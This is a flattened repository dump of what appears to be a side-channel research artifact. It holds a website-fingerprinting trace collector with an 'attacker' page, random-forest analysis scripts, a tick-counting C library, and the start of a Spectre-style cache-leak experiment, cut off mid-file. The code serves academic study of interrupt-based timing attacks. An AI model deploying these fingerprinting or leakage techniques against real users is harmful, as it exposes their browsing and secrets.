172 | 173 | if opts.chrome_binary_path is not None: 174 | chrome_opts.binary_location = os.path.join(opts.chrome_binary_path, "chrome") 175 | 176 | chrome_opts.add_argument("--disable-dev-shm-usage") 177 | chrome_opts.add_argument("--ignore-ssl-errors") 178 | chrome_opts.add_argument("--ignore-certificate-errors") 179 | 180 | if opts.enable_cache_countermeasure: 181 | chrome_opts.add_extension(os.path.join("extensions", "cache.crx")) 182 | 183 | if opts.enable_interrupts_countermeasure: 184 | chrome_opts.add_extension(os.path.join("extensions", "interrupts.crx")) 185 | 186 | if opts.sites_list == "open_world": 187 | chrome_opts.add_argument("--disable-browser-side-navigation") 188 | 189 | if browser == Browser.CHROME: 190 | chrome_opts.add_experimental_option("excludeSwitches", ["enable-automation"]) 191 | elif browser == Browser.CHROME_HEADLESS: 192 | chrome_opts.add_argument("--headless") 193 | 194 | # chromedriver needs this flag when running as root 195 | if os.geteuid() == 0 or opts.disable_chrome_sandbox: 196 | chrome_opts.add_argument("--no-sandbox") 197 | 198 | if opts.chrome_binary_path is not None: 199 | return driver_cls(options=chrome_opts, executable_path=os.path.join(opts.chrome_binary_path, "chromedriver")) 200 | else: 201 | return driver_cls(options=chrome_opts) 202 | 203 | return driver_cls() 204 | 205 | # Make sure existing processes aren't running 206 | procs = subprocess.check_output(["ps", "aux"]).decode("utf-8").split("\n") 207 | 208 | for term in ["python", "chrome", "safaridriver"]: 209 | conflicts = [] 210 | 211 | for p in procs: 212 | if len(p) < 2 or not p.split()[1].isnumeric() or os.getpid() == int(p.split()[1]): 213 | continue 214 | 215 | if term.lower() in p.lower(): 216 | conflicts.append(p) 217 | 218 | if len(conflicts) > 0: 219 | print() 220 | print("Processes") 221 | print("=========") 222 | print("\n".join(conflicts)) 223 | confirm(f"Potentially conflicting {term} processes are currently running. OK to continue?") 224 | 225 | # Double check that we're not overwriting old data 226 | if not opts.overwrite and os.path.exists(opts.out_directory): 227 | print(f"WARNING: Data already exists at {opts.out_directory}. What do you want to do?") 228 | res = input("[A]ppend [C]ancel [O]verwrite ").lower() 229 | 230 | if res == "a": 231 | pass 232 | elif res == "o": 233 | confirm(f"WARNING: You're about to overwrite {opts.out_directory}. Are you sure?") 234 | shutil.rmtree(opts.out_directory) 235 | else: 236 | sys.exit(1) 237 | elif opts.overwrite: 238 | shutil.rmtree(opts.out_directory) 239 | 240 | if not os.path.exists(opts.out_directory): 241 | os.mkdir(opts.out_directory) 242 | 243 | # Optionally set up SMS notifications 244 | using_twilio = False 245 | 246 | if opts.twilio_interval != 0: 247 | if os.path.exists("twilio.json"): 248 | from twilio.rest import Client 249 | twilio_data = json.loads(open("twilio.json").read()) 250 | twilio_client = Client(twilio_data["account_sid"], twilio_data["auth_token"]) 251 | using_twilio = True 252 | else: 253 | print("WARNING: No twilio.json file found, but twilio_interval > 0. Continuing anyway.") 254 | 255 | def send_notification(message): 256 | if using_twilio: 257 | twilio_client.messages.create( 258 | body=message, 259 | from_=twilio_data["from"], 260 | to=twilio_data["to"] 261 | ) 262 | 263 | if opts.attacker_type == "javascript" or opts.attacker_type == "javascript_cache" or opts.attacker_type == "sleep": 264 | # Start serving attacker app 265 | app = Flask(__name__) 266 | 267 | # Disable Flask logs 268 | os.environ["WERKZEUG_RUN_MAIN"] = "true" 269 | log = logging.getLogger("werkzeug") 270 | log.disabled = True 271 | 272 | @app.route("/") 273 | def root(): 274 | return send_from_directory("attacker", "index.html") 275 | 276 | @app.route("/") 277 | def static_dir(path): 278 | return send_from_directory("attacker", path) 279 | 280 | flask_thread = threading.Thread(target=app.run, kwargs={"port": 1234}) 281 | flask_thread.setDaemon(True) 282 | flask_thread.start() 283 | 284 | if opts.browser != Browser.SAFARI: 285 | attacker_browser = get_driver(opts.browser) 286 | attacker_browser.get(get_attacker_url()) 287 | 288 | attacker_browser.execute_script(f"window.trace_length = {opts.trace_length * 1000}") 289 | attacker_browser.execute_script("window.using_automation_script = true") 290 | 291 | def create_browser(): 292 | browser = get_driver(opts.browser) 293 | browser.set_page_load_timeout(opts.trace_length) 294 | return browser 295 | 296 | 297 | def get_time(): 298 | if opts.timer_resolution is None: 299 | return time.time() 300 | else: 301 | return c_lib.timer() 302 | 303 | 304 | def collect_data(q): 305 | data = [-1] * (opts.trace_length * 1000) 306 | trace_time = get_time() * 1000 307 | idx = 0 308 | if opts.attacker_type == "tick": 309 | #print("select attacker_type=tick") 310 | while True: 311 | count_full = cdll.LoadLibrary('/home/xin/tick-count' + '/tick.so') # Need to be modified 312 | 313 | 314 | 315 | if idx >= len(data): 316 | break 317 | 318 | 319 | 320 | data[idx] = count_full.count_tick() 321 | idx += 1 322 | 323 | 324 | 325 | if opts.attacker_type == "counter": 326 | data = [-1] * (opts.trace_length * 10000) 327 | trace_time = get_time() * 10000 328 | while True: 329 | datum_time = get_time() * 10000 330 | idx = math.floor(datum_time - trace_time) 331 | 332 | if idx >= len(data): 333 | break 334 | 335 | num = 0 336 | 337 | while get_time() * 10000 - datum_time < 5: 338 | num += 1 339 | 340 | data[idx] = num 341 | elif opts.attacker_type == "javascript" or opts.attacker_type == "javascript_cache" or opts.attacker_type == "sleep": 342 | try: 343 | js_attacker_type = ("ours_cm" if opts.enable_timer_countermeasure else "ours") if opts.attacker_type == "javascript" else ("sleep" if opts.attacker_type == "sleep" else "cache") 344 | attacker_browser.execute_script(f"window.collectTrace(\"{js_attacker_type}\")") 345 | except InvalidSessionIdException: 346 | q.put([-1]) 347 | return 348 | 349 | time.sleep(opts.trace_length) 350 | 351 | data = [] 352 | 353 | while len(data) == 0: 354 | try: 355 | traces = attacker_browser.execute_script("return traces;") 356 | 357 | if len(traces) > 0: 358 | data = traces[0] 359 | except Exception as e: 360 | print(e) 361 | q.put([-1]) 362 | return 363 | elif opts.attacker_type == "ebpf": 364 | child = subprocess.run(["sudo", "ebpf/target/release/ebpf", f"--timeout={opts.trace_length * 1000}", f"--ns-threshold={opts.ebpf_ns_threshold}"], capture_output=True) 365 | data = [] 366 | 367 | lines = child.stdout.splitlines() 368 | data.append((-1, lines[0])) 369 | 370 | for line in lines[1:]: 371 | x = line.split() 372 | kind = x[0] 373 | x = list(map(lambda v: int(v), x[1:])) 374 | y = [] 375 | 376 | for n in range(len(x) // 2): 377 | y.append((x[n*2], x[n*2+1])) 378 | 379 | data.append((kind, y)) 380 | 381 | q.put(data) 382 | 383 | 384 | def record_trace(url): 385 | q = queue.Queue() 386 | thread = threading.Thread(target=collect_data, name="record", args=[q]) 387 | thread.start() 388 | 389 | start_time = time.time() 390 | 391 | try: 392 | browser.get(url) 393 | except TimeoutException: 394 | # Called when Selenium stops loading after the length of the trace 395 | pass 396 | except (MaxRetryError, ProtocolError): 397 | # Usually called on CTRL+C 398 | return None 399 | except Exception as e: 400 | print(type(e).__name__, e) 401 | return None 402 | 403 | sleep_time = opts.trace_length - (time.time() - start_time) 404 | 405 | if sleep_time > 0: 406 | time.sleep(sleep_time) 407 | 408 | thread.join() 409 | results = [q.get()] 410 | 411 | if len(results[0]) == 1 and results[0][0] == -1: 412 | return None 413 | 414 | if opts.browser == Browser.SAFARI and (opts.attacker_type == "javascript" or opts.attacker_type == "javascript_cache"): 415 | browser.close() 416 | 417 | return results 418 | 419 | 420 | recording = True 421 | 422 | 423 | def signal_handler(sig, frame): 424 | global recording 425 | recording = False 426 | print("Wrapping up...") 427 | 428 | 429 | signal.signal(signal.SIGINT, signal_handler) 430 | using_custom_site = False 431 | 432 | 433 | if opts.sites_list.startswith("alexa"): 434 | n = int(opts.sites_list.replace("alexa", "")) 435 | 436 | if n > 100: 437 | print("For sites_list, n must be less than or equal to 100.") 438 | sys.exit(1) 439 | 440 | domains = pd.read_csv(os.path.join("sites", "closed_world.csv"))["domain"].tolist() 441 | domains = [f"https://{x}" if "http://" not in x else x for x in domains] 442 | domains = domains[:n] 443 | elif opts.sites_list == "open_world": 444 | domains = pd.read_csv(os.path.join("sites", "open_world.csv"))["domain"].tolist() 445 | domains = [f"https://{x}" for x in domains] 446 | else: 447 | domains = opts.sites_list.split(",") 448 | domains = [f"https://{x}" for x in domains] 449 | using_custom_site = True 450 | 451 | 452 | def should_skip(domain): 453 | out_f_path = os.path.join(opts.out_directory, f"{domain.replace('https://', '').replace('http://', '').replace('www.', '')}.pkl") 454 | 455 | if os.path.exists(out_f_path): 456 | f = open(out_f_path, "rb") 457 | num_runs = 0 458 | 459 | while True: 460 | try: 461 | pickle.load(f) 462 | num_runs += 1 463 | except: 464 | break 465 | 466 | if num_runs == opts.num_runs: 467 | return True 468 | 469 | return False 470 | 471 | 472 | def run(domain, update_fn=None): 473 | out_f_path = os.path.join(opts.out_directory, f"{domain.replace('https://', '').replace('http://', '').replace('www.', '')}.pkl") 474 | out_f_path='/home/xin/tick-count/'+out_f_path 475 | out_f = open(out_f_path, "wb") 476 | i = 0 477 | 478 | # Add one so that we can have a first run where the site gets cached. 479 | while i < opts.num_runs + 1: 480 | if not recording: 481 | break 482 | 483 | if opts.browser == Browser.SAFARI and (opts.attacker_type == "javascript" or opts.attacker_type == "javascript_cache"): 484 | pass 485 | else: 486 | try: 487 | browser.get(opts.browser.get_new_tab_url()) 488 | except: 489 | pass 490 | 491 | trace = record_trace(domain) 492 | 493 | if trace is None: 494 | out_f.close() 495 | return False 496 | 497 | if i > 0 or opts.sites_list == "open_world": 498 | # Don't save first run -- site needs to be cached. 499 | data = (trace, domain) 500 | 501 | # Save data to output file incrementally -- this allows us to save much 502 | # more data than fits in RAM. 503 | pickle.dump(data, out_f) 504 | 505 | if update_fn is not None: 506 | update_fn() 507 | 508 | if opts.sites_list == "open_world": 509 | break 510 | 511 | i += 1 512 | 513 | out_f.close() 514 | return True 515 | 516 | browser = None 517 | total_traces = opts.num_runs * len(domains) 518 | 519 | with tqdm(total=total_traces) as pbar: 520 | if using_twilio: 521 | notify_interval = opts.twilio_interval * total_traces 522 | last_notification = 0 523 | 524 | traces_collected = 0 525 | 526 | def post_trace_collection(): 527 | global traces_collected, notify_interval, last_notification 528 | 529 | pbar.update(1) 530 | traces_collected += 1 531 | 532 | if using_twilio and traces_collected >= last_notification + notify_interval: 533 | send_notification(f"{twilio_data['name']} is done with {traces_collected / total_traces * 100:.0f}% of its current job!") 534 | last_notification = traces_collected 535 | 536 | for i, domain in enumerate(domains): 537 | if not recording: 538 | break 539 | elif should_skip(domain): 540 | continue 541 | 542 | if opts.browser == Browser.SAFARI and (opts.attacker_type == "javascript" or opts.attacker_type == "javascript_cache") and browser is not None: 543 | # Don't create a new browser in this case -- we will open a new 544 | # window instead due to limitations in safaridriver. 545 | pass 546 | else: 547 | browser = create_browser() 548 | 549 | if opts.browser == Browser.SAFARI: 550 | attacker_browser = browser 551 | 552 | success = run(domain, update_fn=post_trace_collection) 553 | 554 | if success: 555 | if opts.sites_list == "open_world" and traces_collected == 5000: 556 | break 557 | 558 | pbar.n = (i + 1) * opts.num_runs 559 | pbar.refresh() 560 | 561 | browser.quit() 562 | 563 | if opts.attacker_type == "javascript" or opts.attacker_type == "javascript_cache" or opts.attacker_type == "sleep": 564 | attacker_browser.quit() 565 | 566 | if opts.sites_list == "open_world": 567 | browser.quit() 568 | 569 | if opts.browser == Browser.SAFARI: 570 | try: 571 | browser.driver.quit() 572 | except: 573 | os.system("killall Safari") 574 | 575 | if using_twilio: 576 | send_notification(f"{twilio_data['name']} is done with its job!") 577 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/requirements.txt: -------------------------------------------------------------------------------- 1 | Flask==2.1.2 2 | numpy==1.21.0 3 | pandas==1.2.5 4 | psutil==5.8.0 5 | requests==2.27.1 6 | scikit-learn==0.24.2 7 | selenium==3.141.0 8 | tqdm==4.61.1 9 | 10 | # analysis 11 | matplotlib==3.4.2 12 | jupyter==1.0.0 13 | 14 | # optional 15 | twilio==6.61.0 16 | 17 | # pytorch 18 | torch==1.13.0 -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/scripts/check_results.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import numpy as np 3 | import pickle 4 | import os 5 | import warnings 6 | 7 | warnings.filterwarnings("ignore") 8 | 9 | from sklearn.ensemble import RandomForestClassifier 10 | from sklearn.metrics import top_k_accuracy_score 11 | from sklearn.model_selection import train_test_split 12 | from tqdm import trange 13 | 14 | parser = argparse.ArgumentParser() 15 | parser.add_argument("--data_file", default="data", type=str) 16 | parser.add_argument("--n", default=10, type=int) 17 | parser.add_argument("--test_size", default=0.25, type=float) 18 | opts = parser.parse_args() 19 | 20 | def get_data(path): 21 | # Data preparation 22 | traces = [] 23 | labels = [] 24 | 25 | if os.path.isdir(path): 26 | # If directory, find all .pkl files 27 | filepaths = [os.path.join(path, x) for x in os.listdir(path) if x.endswith(".pkl")] 28 | elif os.path.isfile(path): 29 | # If single file, just use this one 30 | filepaths = [path] 31 | else: 32 | raise RuntimeError 33 | 34 | for file in filepaths: 35 | f = open(file, "rb") 36 | 37 | while True: 38 | try: 39 | data = pickle.load(f) 40 | traces_i, labels_i = data[0], data[1] 41 | 42 | if isinstance(traces_i[0], list): 43 | traces.extend(traces_i) 44 | else: 45 | traces.append(traces_i) 46 | 47 | labels.append(labels_i) 48 | except EOFError: 49 | break 50 | 51 | traces = np.array(traces) 52 | 53 | # Convert labels from domain names to ints 54 | domains = list(set(labels)) 55 | int_mapping = {x: i for i, x in enumerate(domains)} 56 | labels = [int_mapping[x] for x in labels] 57 | labels = np.array(labels) 58 | 59 | return traces, labels, domains 60 | 61 | 62 | def get_accs(X, y, domains): 63 | X_train, X_test, y_train, y_test = train_test_split( 64 | X, y, test_size=opts.test_size, stratify=y) 65 | 66 | clf = RandomForestClassifier() 67 | clf = clf.fit(X_train, y_train) 68 | 69 | y_probs = clf.predict_proba(X_test) 70 | top1 = top_k_accuracy_score(y_test, y_probs, k=1) 71 | top5 = top_k_accuracy_score(y_test, y_probs, k=5) 72 | 73 | return [top1, top5] 74 | 75 | print(f"Analyzing results from {opts.data_file}") 76 | 77 | X, y, domains = get_data(opts.data_file) 78 | accs = np.array([get_accs(X, y, domains) for _ in trange(opts.n)]) 79 | print() 80 | 81 | top1 = accs[:, 0].mean() 82 | top1_std = accs[:, 0].std() 83 | 84 | top5 = accs[:, 1].mean() 85 | top5_std = accs[:, 1].std() 86 | 87 | print(f"Number of traces: {len(X)}") 88 | print() 89 | print("top1 accuracy: {:.1f}% (+/- {:.1f}%)".format(top1 * 100, top1_std * 100)) 90 | print("top5 accuracy: {:.1f}% (+/- {:.1f}%)".format(top5 * 100, top5_std * 100)) 91 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/scripts/gen_open_world.py: -------------------------------------------------------------------------------- 1 | import numpy as np 2 | import os 3 | import pandas as pd 4 | import urllib.request 5 | import zipfile 6 | 7 | alexa_domains = [ 8 | "google", 9 | "youtube", 10 | "tmall", 11 | "qq", 12 | "baidu", 13 | "sohu", 14 | "facebook", 15 | "taobao", 16 | "jd", 17 | "amazon", 18 | "yahoo", 19 | "wikipedia.org", 20 | "weibo", 21 | "sina.com.cn", 22 | "zoom.us", 23 | "http://www.xinhuanet.com", 24 | "live", 25 | "reddit", 26 | "netflix", 27 | "microsoft", 28 | "instagram", 29 | "office", 30 | "!panda.tv", 31 | "zhanqi.tv", 32 | "alipay", 33 | "bing", 34 | "csdn.net", 35 | "vk", 36 | "myshopify", 37 | "naver", 38 | "okezone", 39 | "twitch.tv", 40 | "twitter", 41 | "ebay", 42 | "adobe", 43 | "tianya.cn", 44 | "huanqiu", 45 | "yy", 46 | "aliexpress", 47 | "linkedin", 48 | "force", 49 | "aparat", 50 | "mail.ru", 51 | "msn", 52 | "dropbox", 53 | "whatsapp", 54 | "apple", 55 | "1688", 56 | "wordpress", 57 | "canva", 58 | "indeed", 59 | "stackoverflow", 60 | "ok.ru", 61 | "so", 62 | "chase", 63 | "imdb", 64 | "slack", 65 | "etsy", 66 | "tiktok", 67 | "booking", 68 | "babytree", 69 | "rakuten.co.jp", 70 | "salesforce", 71 | "spotify", 72 | "tribunnews", 73 | "fandom", 74 | "tradingview", 75 | "github", 76 | "haosou", 77 | "paypal", 78 | "cnblogs", 79 | "alibaba", 80 | "kompas", 81 | "gome.com.cn", 82 | "walmart", 83 | "roblox", 84 | "6.cn", 85 | "zillow", 86 | "godaddy", 87 | "imgur", 88 | "espn", 89 | "bbc", 90 | "hao123", 91 | "pikiran-rakyat", 92 | "grammarly", 93 | "cnn", 94 | "telegram.org", 95 | "tumblr", 96 | "nytimes", 97 | "detik", 98 | "wetransfer", 99 | "savefrom.net", 100 | "rednet.cn", 101 | "freepik", 102 | "ilovepdf", 103 | "daum.net", 104 | "pinterest", 105 | "primevideo", 106 | "intuit", 107 | "medium" 108 | ] 109 | 110 | if not os.path.exists("top-1m.csv"): 111 | urllib.request.urlretrieve("http://s3.amazonaws.com/alexa-static/top-1m.csv.zip", "top-1m.csv.zip") 112 | 113 | with zipfile.ZipFile("top-1m.csv.zip") as z: 114 | z.extractall() 115 | 116 | existing_domains = domains = [f"{x.replace('!', '')}{'.com' if '.' not in x else ''}" for x in alexa_domains] 117 | existing_names = set([x.replace("!", "").split(".")[0] for x in alexa_domains]) 118 | 119 | open_world_domains = [] 120 | 121 | df = pd.read_csv("top-1m.csv", header=None, names=["rank", "domain"]) 122 | 123 | for i in range(len(df)): 124 | domain = df.iloc[i]["domain"] 125 | 126 | if domain in existing_domains: 127 | continue 128 | elif domain.split(".")[0] in existing_names: 129 | continue 130 | else: 131 | open_world_domains.append(domain) 132 | existing_names.add(domain.split(".")[0]) 133 | 134 | # Provide extra sites (we only need 5000) in case some sites have errors 135 | if len(open_world_domains) == 6000: 136 | break 137 | 138 | pd.Series(open_world_domains).to_csv("open_world.csv", header=["domain"], index=False) 139 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/scripts/load_irqbalance_config.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import json 3 | import os 4 | import sys 5 | 6 | parser = argparse.ArgumentParser() 7 | parser.add_argument("--config_path", type=str) 8 | parser.add_argument("--cpu", default=-1, type=int) 9 | opts = parser.parse_args() 10 | 11 | if opts.cpu == -1 and opts.config_path is None: 12 | print("At least one of cpu or config_path must be set") 13 | sys.exit(1) 14 | 15 | def update_smp_affinity(i, val): 16 | try: 17 | with open(f"/proc/irq/{i}/smp_affinity", "w") as f: 18 | f.write(val) 19 | except Exception as e: 20 | print(f"fail {i}") 21 | pass 22 | 23 | if opts.cpu == -1: 24 | data = json.loads(open(f"{opts.config_path}.json", "r").read()) 25 | 26 | for k in data: 27 | update_smp_affinity(k, data[k]) 28 | else: 29 | for path in os.listdir("/proc/irq"): 30 | if not path.isnumeric(): 31 | continue 32 | 33 | update_smp_affinity(path, str(1 << opts.cpu)) -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/scripts/receiver.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | if "DISPLAY" not in os.environ: 4 | os.environ["DISPLAY"] = ":0" 5 | 6 | import argparse 7 | import socket 8 | 9 | from selenium import webdriver 10 | from urllib.parse import urlparse 11 | 12 | parser = argparse.ArgumentParser() 13 | parser.add_argument("--trace_length", type=int, default=15) 14 | opts = parser.parse_args() 15 | 16 | driver = webdriver.Chrome() 17 | 18 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 19 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 20 | s.bind(("0.0.0.0", 1234)) 21 | s.listen(1) 22 | 23 | print("Waiting for connection...") 24 | conn, _ = s.accept() 25 | 26 | print("Connected successfully!") 27 | 28 | while True: 29 | chunk = conn.recv(1024) 30 | 31 | if not chunk: 32 | driver.quit() 33 | break 34 | 35 | msgs = chunk.decode("utf-8").split("\n") 36 | 37 | for domain in msgs: 38 | if len(domain) == 0: 39 | continue 40 | 41 | data = urlparse(domain) 42 | 43 | if data.scheme == "biggerfish": 44 | if data.netloc == "restart": 45 | driver.quit() 46 | driver = webdriver.Chrome() 47 | elif data.netloc == "set-timeout": 48 | driver.set_page_load_timeout(int(data.path[1:])) 49 | elif data.netloc == "new-tab": 50 | domain = "chrome://new-tab-page" 51 | 52 | try: 53 | driver.get(domain) 54 | except: 55 | pass 56 | 57 | conn.close() 58 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/scripts/save_irqbalance_config.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import json 3 | import os 4 | import subprocess 5 | 6 | parser = argparse.ArgumentParser() 7 | parser.add_argument("--out_filename", type=str, required=True) 8 | opts = parser.parse_args() 9 | 10 | data = {} 11 | 12 | for path in os.listdir("/proc/irq"): 13 | if not path.isnumeric(): 14 | continue 15 | 16 | data[path] = open(f"/proc/irq/{path}/smp_affinity").read().strip() 17 | 18 | with open(f"{opts.out_filename}.json", "w") as f: 19 | f.write(json.dumps(data, indent=4, sort_keys=True)) -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/sites/closed_world.csv: -------------------------------------------------------------------------------- 1 | domain 2 | www.google.com 3 | www.youtube.com 4 | www.tmall.com 5 | www.qq.com 6 | www.baidu.com 7 | www.sohu.com 8 | www.facebook.com 9 | www.taobao.com 10 | www.jd.com 11 | www.amazon.com 12 | www.yahoo.com 13 | www.wikipedia.org 14 | www.weibo.com 15 | sina.com.cn 16 | www.zoom.us 17 | http://www.xinhuanet.com 18 | www.live.com 19 | www.reddit.com 20 | www.netflix.com 21 | www.microsoft.com 22 | www.instagram.com 23 | www.office.com 24 | panda.tv 25 | www.zhanqi.tv 26 | www.alipay.com 27 | www.bing.com 28 | www.csdn.net 29 | www.vk.com 30 | www.myshopify.com 31 | www.naver.com 32 | www.okezone.com 33 | www.twitch.tv 34 | www.twitter.com 35 | www.ebay.com 36 | www.adobe.com 37 | www.tianya.cn 38 | www.huanqiu.com 39 | www.yy.com 40 | www.aliexpress.com 41 | www.linkedin.com 42 | www.force.com 43 | www.aparat.com 44 | www.mail.ru 45 | www.msn.com 46 | www.dropbox.com 47 | www.whatsapp.com 48 | www.apple.com 49 | www.1688.com 50 | www.wordpress.com 51 | www.canva.com 52 | www.indeed.com 53 | www.stackoverflow.com 54 | www.ok.ru 55 | www.so.com 56 | www.chase.com 57 | www.imdb.com 58 | www.slack.com 59 | www.etsy.com 60 | www.tiktok.com 61 | www.booking.com 62 | www.babytree.com 63 | rakuten.co.jp 64 | www.salesforce.com 65 | www.spotify.com 66 | www.tribunnews.com 67 | www.fandom.com 68 | www.tradingview.com 69 | www.github.com 70 | www.haosou.com 71 | www.paypal.com 72 | www.cnblogs.com 73 | www.alibaba.com 74 | www.kompas.com 75 | gome.com.cn 76 | www.walmart.com 77 | www.roblox.com 78 | www.6.cn 79 | www.zillow.com 80 | www.godaddy.com 81 | www.imgur.com 82 | www.espn.com 83 | www.bbc.com 84 | www.hao123.com 85 | www.pikiran-rakyat.com 86 | www.grammarly.com 87 | www.cnn.com 88 | www.telegram.org 89 | www.tumblr.com 90 | www.nytimes.com 91 | www.detik.com 92 | www.wetransfer.com 93 | www.savefrom.net 94 | www.rednet.cn 95 | www.freepik.com 96 | www.ilovepdf.com 97 | www.daum.net 98 | www.pinterest.com 99 | www.primevideo.com 100 | www.intuit.com 101 | www.medium.com -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/tick.c: -------------------------------------------------------------------------------- 1 | /* 2 | *use a whole time slice to count; 3 | */ 4 | 5 | #define _GNU_SOURCE 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | int inter_count[100001], cycles; 21 | double score[512] = {0}; 22 | 23 | extern char stopspeculate[]; 24 | 25 | void prepare() 26 | { 27 | uint16_t value = 1; 28 | __asm__ volatile("mov %0, %%gs" : : "r"(value)); 29 | } 30 | 31 | uint16_t check() 32 | { 33 | uint16_t value; 34 | __asm__ volatile("mov %%gs, %0" : "=r"(value)); 35 | return value; 36 | } 37 | 38 | int multiply(int num1, int num2) 39 | { 40 | return num1 * num2; 41 | } 42 | static void pin_cpu3() 43 | { 44 | cpu_set_t mask; 45 | 46 | /* PIN to CPU0 */ 47 | CPU_ZERO(&mask); 48 | CPU_SET(3, &mask); 49 | sched_setaffinity(0, sizeof(cpu_set_t), &mask); 50 | } 51 | int count_tick() 52 | { 53 | int ret, i, count; 54 | cpu_set_t get; 55 | CPU_ZERO(&get); 56 | pin_cpu3(); 57 | 58 | if (sched_getaffinity(0, sizeof(get), &get) == -1) 59 | { 60 | printf("warning: can not get cpu affinity/n"); 61 | } 62 | 63 | prepare(); 64 | 65 | while (check() == 1) 66 | { 67 | count++; 68 | } 69 | 70 | return count; 71 | } 72 | 73 | static char *progname; 74 | 75 | int usage(void) 76 | { 77 | printf("%s: [cycles]\n", progname); 78 | return 1; 79 | } 80 | 81 | int main(int argc, char *argv[]) 82 | { 83 | int ret, i; 84 | cpu_set_t get; 85 | CPU_ZERO(&get); 86 | progname = argv[0]; 87 | if (argc < 2) 88 | return usage(); 89 | 90 | pin_cpu3(); 91 | 92 | if (sched_getaffinity(0, sizeof(get), &get) == -1) 93 | { 94 | printf("warning: can not get cpu affinity/n"); 95 | } 96 | 97 | for (int i = 0; i < 8; i++) 98 | { 99 | if (CPU_ISSET(i, &get)) 100 | { 101 | printf("this thread %d is running on processor %d\n", gettid(), i); 102 | } 103 | } 104 | return 0; 105 | } 106 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/visualization.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/visualization.png -------------------------------------------------------------------------------- /E2-Enhancing_Spectral/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc main.c -lpthread -o main -static -lm -O0 3 | clean: 4 | rm -f main 5 | 6 | -------------------------------------------------------------------------------- /E2-Enhancing_Spectral/README.md: -------------------------------------------------------------------------------- 1 | # Enhancing Spectral attack 2 | [Spectral attack](https://github.com/cispa/mwait/tree/main/spectral) is badly noised by interrupts. However, SegScope can filter the noised measurements. 3 | 4 | Build our code 5 | ``` 6 | make 7 | ``` 8 | 9 | Quick test for the attack. Every second it outputs the leakage rate, error rate, and true capacity. An optional parameter can be provided to stop the experiment after N seconds: ./main N. If this parameter is provided, it outputs the last leakage rate, error rate, and true capacity as CSVs. 10 | ``` 11 | ./main 12 | ``` 13 | 14 | Expected results are as follows. The program outputs the error rate of original spectral(%), speed, channel_capacity, number of interrupted measuments, and the error rate of our **enhanced spectral**(%). Clearly, SegScope reduces the error rate from 0.559% to 0.098%. 15 | ``` 16 | 0.559,53889,51200.8,irq=750 ,after_filter:0.098 17 | ``` 18 | 19 | 20 | Evaluate the leakage rate for different umwait timeouts from 1000 to 200000. The result is stored in log.csv. 21 | ``` 22 | ./test.sh 23 | ``` 24 | 25 | Expected results are as follows: 26 | ``` 27 | 93000,0.513,57350,54690.3,irq=735 ,after_filter:0.099 28 | 94000,0.478,56791,54306.1,irq=689 ,after_filter:0.101 29 | 95000,0.415,56085,53908.9,irq=673 ,after_filter:0.099 30 | 96000,0.487,55597,53128.1,irq=728 ,after_filter:0.066 31 | 97000,0.485,54989,52555.1,irq=724 ,after_filter:0.065 32 | 98000,0.450,54529,52263.2,irq=673 ,after_filter:0.099 33 | 99000,0.455,54238,51961.2,irq=673 ,after_filter:0.098 34 | 100000,0.559,53889,51200.8,irq=750 ,after_filter:0.098 35 | 101000,0.561,52909,50263.6,irq=745 ,after_filter:0.098 36 | 102000,0.486,52575,50242.5,irq=719 ,after_filter:0.066 37 | 103000,0.540,51989,49468.4,irq=728 ,after_filter:0.096 38 | 104000,0.567,51780,49166.2,irq=741 ,after_filter:0.101 39 | 105000,0.548,51431,48907.2,irq=748 ,after_filter:0.064 40 | ``` 41 | 42 | In our previous experiments, we found that the speculation window is not long enough in certain CPU to complete a transient write (such as modifying a cacheline). These CPUs are unlikely to reproduce original Spectral attack. However, arch-write.c can be used to test how segscope can filter the interrupted measurements. In arch-write.c, we directly modify the corresponding cacheline based on the secret value. 43 | 44 | ``` 45 | gcc arch-write.c -lpthread -o arch -static -lm -O0 46 | 47 | ./arch 48 | ``` 49 | -------------------------------------------------------------------------------- /E2-Enhancing_Spectral/arch-write.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "cacheutils.h" 15 | 16 | #define CORE_VICTIM 14 17 | #define CORE_ATTACKER 15 18 | 19 | #define OFFSET (64) 20 | 21 | // #define ftime(x) (rdtsc() / 3200000000ul) 22 | #define ftime time 23 | 24 | volatile int running = 1; 25 | 26 | volatile unsigned int array1_size = 16; 27 | uint8_t __attribute__((aligned(4096))) array1[160] = { 28 | 2, 29 | 2, 30 | }; 31 | __attribute__((aligned(4096))) char test[4096 * 256]; 32 | 33 | volatile uint8_t temp = 0; 34 | 35 | char secret[] = {0, 1, 1, 0, 0, 1, 0, 1}; 36 | 37 | void __attribute__((noinline)) victim_function(size_t x) 38 | { 39 | temp &= array1[x] * 4096; 40 | if (x < array1_size) 41 | { 42 | test[array1[x] * OFFSET] = 1; 43 | } 44 | } 45 | 46 | void leakBit(size_t target_addr) 47 | { 48 | int tries = 0, i, j, k, mix_i; 49 | size_t training_x, x; 50 | 51 | test[secret[target_addr] * 4096] ^= 1; 52 | asm volatile("mfence"); 53 | } 54 | 55 | void pin_to_core(int core) 56 | { 57 | cpu_set_t cpuset; 58 | pthread_t thread; 59 | 60 | thread = pthread_self(); 61 | 62 | CPU_ZERO(&cpuset); 63 | CPU_SET(core, &cpuset); 64 | 